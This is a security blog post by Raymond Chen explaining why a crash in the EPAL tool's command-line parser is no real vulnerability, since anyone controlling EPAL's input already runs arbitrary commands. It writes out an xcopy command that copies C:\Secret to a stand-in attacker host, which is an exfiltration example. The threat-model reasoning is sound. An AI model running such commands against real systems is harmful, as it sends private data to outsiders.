It rather involved being on the other side of this airtight hatchway: Elevating the elevator

devblogs.microsoft.com/oldnewthing/20160708-00

July 8, 2016

Raymond Chen

The EPAL tool is used on Windows 2000 systems as an application compatibility workaround: If there is some program that requires elevation, but you don't want to give your users administrator privileges, you can use the EPAL tool to run that program with the security of the EPAL program, but under the identity of the unprivileged user.

The idea here is that you run EPAL under a high-privilege account, and let is perform specific actions as the low-privileged user. For example, maybe you have a program that requires database administrator permission to add a new customer to your database. You don't want Bob to have to call you every time he needs to add a user, so you set up a procedure that goes like this:

- Bob files a request to add a new customer.
- A service process running with database administrator privileges receives the request.
- The service process uses the EPAL program to run `add_customer.exe` under Bob's identity, but with database administrator privileges. Since the program runs with database administrator privileges, the operation successfully adds the customer; but since the program is running under Bob's identity, the record will be owned by Bob.

A security vulnerability report claimed to have found a bug in the command line parser of the EPAL tool. A carefully-crafted command line causes the EPAL command line parser to crash, and the finder was confident with that some more work, it may be possible to convert this crash into a full remote code execution exploit.

That's great, but let's look at the attack vector. To carry out this attack, you need to convince the service process to run the EPAL program with a command line that you control. That way, you can pass the carefully-crafted command line to the service, and it passes the command line to EPAL, and you know pwn the EPAL process.

Yeah, but so what? If you can convince the service to pass an arbitrary command line to EPAL, then there's no need to do all this command line crafting to get EPAL to do your bidding. EPAL is already going to do your bidding because *it runs the command line you*

gave it.

Instead of crafting a command line that copies all the files in the `C:\Secret` directory to an Internet site, just craft this extremely sneaky command line:

```
xcopy C:\Secret \\bad-guys.example.com\uploads\pwnz0rd
```

EPAL's job is to run the command you pass to it. So just pass the command you want to run!

In other words, if you can control the command line passed to EPAL, then instead of

```
attack_epal carefully-crafted-command-line
```

just do

```
attack_epal xcopy.exe c:\Secret \\bad-guys.example.com\uploads\pwnz0rd
```

The real vulnerability is that the service process is blindly executing an untrusted command line provided by Bob.

The service should make sure that any untrusted information received from Bob is fully sanitized before passing it to EPAL. Because EPAL is basically CreateProcess.

Raymond Chen

Follow